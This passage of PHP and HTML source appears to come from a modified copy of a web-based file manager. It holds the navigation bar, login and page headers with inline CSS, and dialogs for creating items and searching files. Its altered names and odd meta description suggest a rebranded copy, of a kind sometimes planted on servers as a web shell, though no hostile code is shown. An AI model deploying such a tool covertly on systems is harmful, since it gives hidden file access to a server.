<nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
<a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<?php
$path = fm_clean_path($path);
$root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
$sep = '<i class="bread-crumb"> / </i>';
if ($path != '') {
$exploded = explode('/', $path);
$count = count($exploded);
$array = array();
$parent = '';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . '/' . $exploded[$i], '/');
$parent_enc = urlencode($parent);
$array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
}
$root_url .= $sep . implode($sep, $array);
}
echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
?>
<div class="col-xs-6 col-sm-7">
<ul class="navbar-nav justify-content-end <?php echo fm_get_theme(); ?>">
<li class="nav-item mr-2">
<div class="input-group input-group-sm mr-1" style="margin-top:4px;">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
<div class="input-group-append">
<span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
</div>
<div class="input-group-append btn-group">
<span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
<div class="dropdown-menu dropdown-menu-right">
<a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
</div>
</div>
</div>
</li>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
</li>
<li class="nav-item">
<a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
</li>
<?php endif; ?>
<?php if (FM_USE_AUTH): ?>
<li class="nav-item avatar dropdown">
<a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
<div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
<?php endif ?>
<a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
<a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
</div>
</li>
<?php else: ?>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
</li>
<?php endif; ?>
<?php endif; ?>
</ul>
</div>
</div>
</nav>
<?php
}
function fm_show_message()
{
if (isset($_SESSION[DN_CESSION_ID]['message'])) {
$class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
unset($_SESSION[DN_CESSION_ID]['message']);
unset($_SESSION[DN_CESSION_ID]['status']);
}
}
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="monactinellidan">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('css-bootstrap'); ?>
<style>
body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
.fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
.fm-login-page .brand img{ width:100%}
.fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
.fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
.fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
.fm-login-page .form-control{ border-width:2.3px}
.fm-login-page .form-group label{ width:100%}
.fm-login-page .btn.btn-block{ padding:12px 10px}
.fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
@media screen and (max-width:425px){
.fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
}
@media screen and (max-width:320px){
.fm-login-page .card.fat{ padding:0}
.fm-login-page .card.fat .card-body{ padding:15px}
}
.message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{ border-color:green;color:green}
.message.error{ border-color:red;color:red}
.message.alert{ border-color:orange;color:orange}
body.fm-login-page.theme-dark {background-color: #2f2a2a;}
.theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
</style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">
<?php
}
function fm_show_footer_login()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="monactinellidan">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('pre-cloudflare'); ?>
<?php print_external('css-bootstrap'); ?>
<?php print_external('css-font-awesome'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('css-highlightjs'); ?>
<?php endif; ?>
<script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
<style>
html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
*,*::before,*::after { box-sizing: border-box;}
body { font-size:15px; color:#222;background:#F7F7F7; }
body.navbar-fixed { margin-top:55px; }
a, a:hover, a:visited, a:focus { text-decoration:none !important; }
.filename, td, th { white-space:nowrap }
.navbar-brand { font-weight:bold; }
.nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
.nav-item.avatar a > i { font-size:15px; }
.nav-item.avatar .dropdown-menu a { font-size:13px; }
#search-addon { font-size:12px;border-right-width:0; }
.brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
.brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
.bread-crumb { color:#cccccc;font-style:normal; }
#main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
#main-table .filename a { color:#222222; }
.table td, .table th { vertical-align:middle !important; }
.table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
.table-sm td, .table-sm th { padding:.4rem; }
.table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
.hidden { display:none }
pre.with-hljs { padding:0; overflow: hidden; }
pre.with-hljs code { margin:0;border:0;overflow:scroll; }
code.maxheight, pre.maxheight { max-height:512px }
.fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec }
.fa.fa-home { font-size:1.3em;vertical-align:bottom }
.path { margin-bottom:10px }
form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
.right { text-align:right }
.center, .close, .login-form, .preview-img-container { text-align:center }
.message { padding:4px 7px;border:1px solid #ddd;background-color:#fff }
.message.ok { border-color:green;color:green }
.message.error { border-color:red;color:red }
.message.alert { border-color:orange;color:orange }
.preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
input#preview-img-zoomCheck[type=checkbox] { display:none }
input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
.inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
.preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px }
.preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 }
.compact-table { border:0;width:auto }
.compact-table td, .compact-table th { width:100px;border:0;text-align:center }
.compact-table tr:hover td { background-color:#fff }
.filename { max-width:420px;overflow:hidden;text-overflow:ellipsis }
.break-word { word-wrap:break-word;margin-left:30px }
.break-word.float-left a { color:#7d7d7d }
.break-word + .float-right { padding-right:30px;position:relative }
.break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px }
#editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px }
@media (max-width:481px) {
#editor { top:150px; }
}
#normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
.btn-2 { padding:4px 10px;font-size:small; }
li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
li.folder:before { content:"\f114" }
i.fa.fa-folder-o { color:#0157b3 }
i.fa.fa-picture-o { color:#26b99a }
i.fa.fa-file-archive-o { color:#da7d7d }
.btn-2 i.fa.fa-file-archive-o { color:inherit }
i.fa.fa-css3 { color:#f36fa0 }
i.fa.fa-file-code-o { color:#007bff }
i.fa.fa-code { color:#cc4b4c }
i.fa.fa-file-text-o { color:#0096e6 }
i.fa.fa-html5 { color:#d75e72 }
i.fa.fa-file-excel-o { color:#09c55d }
i.fa.fa-file-powerpoint-o { color:#f6712e }
i.go-back { font-size:1.2em;color:#007bff; }
.main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) }
.dataTables_filter { display:none; }
table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
.footer-action li { margin-bottom:10px; }
.app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
#snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
#snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
@-webkit-keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
@keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
#main-table span.badge { border-bottom:2px solid #f8f9fa }
#main-table span.badge:nth-child(1) { border-color:#df4227 }
#main-table span.badge:nth-child(2) { border-color:#f8b600 }
#main-table span.badge:nth-child(3) { border-color:#00bd60 }
#main-table span.badge:nth-child(4) { border-color:#4581ff }
#main-table span.badge:nth-child(5) { border-color:#ac68fc }
#main-table span.badge:nth-child(6) { border-color:#45c3d2 }
@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
}
.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
.lds-facebook { display:none;position:relative;width:64px;height:64px }
.lds-facebook div,.lds-facebook.show-me { display:inline-block }
.lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
.lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
.lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
.lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
@keyframes lds-facebook { 0% { top:6px;height:51px }
100%,50% { top:19px;height:26px }
}
ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
.c-preview-img { max-width: 300px; }
.border-radius-0 { border-radius: 0; }
.float-right { float: right; }
.table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
#main-table tr.even { background-color: #F8F9Fa; }
.filename>a>i {margin-right: 3px;}
</style>
<?php
if (FM_THEME == "dark"): ?>
<style>
:root {
--bs-bg-opacity: 1;
--bg-color: #f3daa6;
--bs-dark-rgb: 28, 36, 41 !important;
--bs-bg-opacity: 1;
}
.table-dark { --bs-table-bg: 28, 36, 41 !important; }
.btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
.list-group .list-group-item { background: #343a40; }
.theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
.theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
.theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
.theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
.theme-dark .dropzone { background: transparent; }
.theme-dark .inline-actions > a > i { background: #79755e; }
.theme-dark .text-white { color: #CFD8DC !important; }
.theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
.theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
.message { background-color: #212529; }
.compact-table tr:hover td { background-color: #3d3d3d; }
#main-table tr.even { background-color: #21292f; }
form.dropzone { border-color: #79755e; }
</style>
<?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
<!-- New Item creation -->
<div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
<div class="modal-header">
<h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
<label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
</div>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
<label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
</div>
<p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
<input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
</div>
<div class="modal-footer">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
</div>
</form>
</div>
</div>
<!-- Advance Search Modal -->
<div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content <?php echo fm_get_theme(); ?>">
<div class="modal-header">
<h5 class="modal-title col-10" id="searchModalLabel">
<div class="input-group mb-3">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
<span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
</div>
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
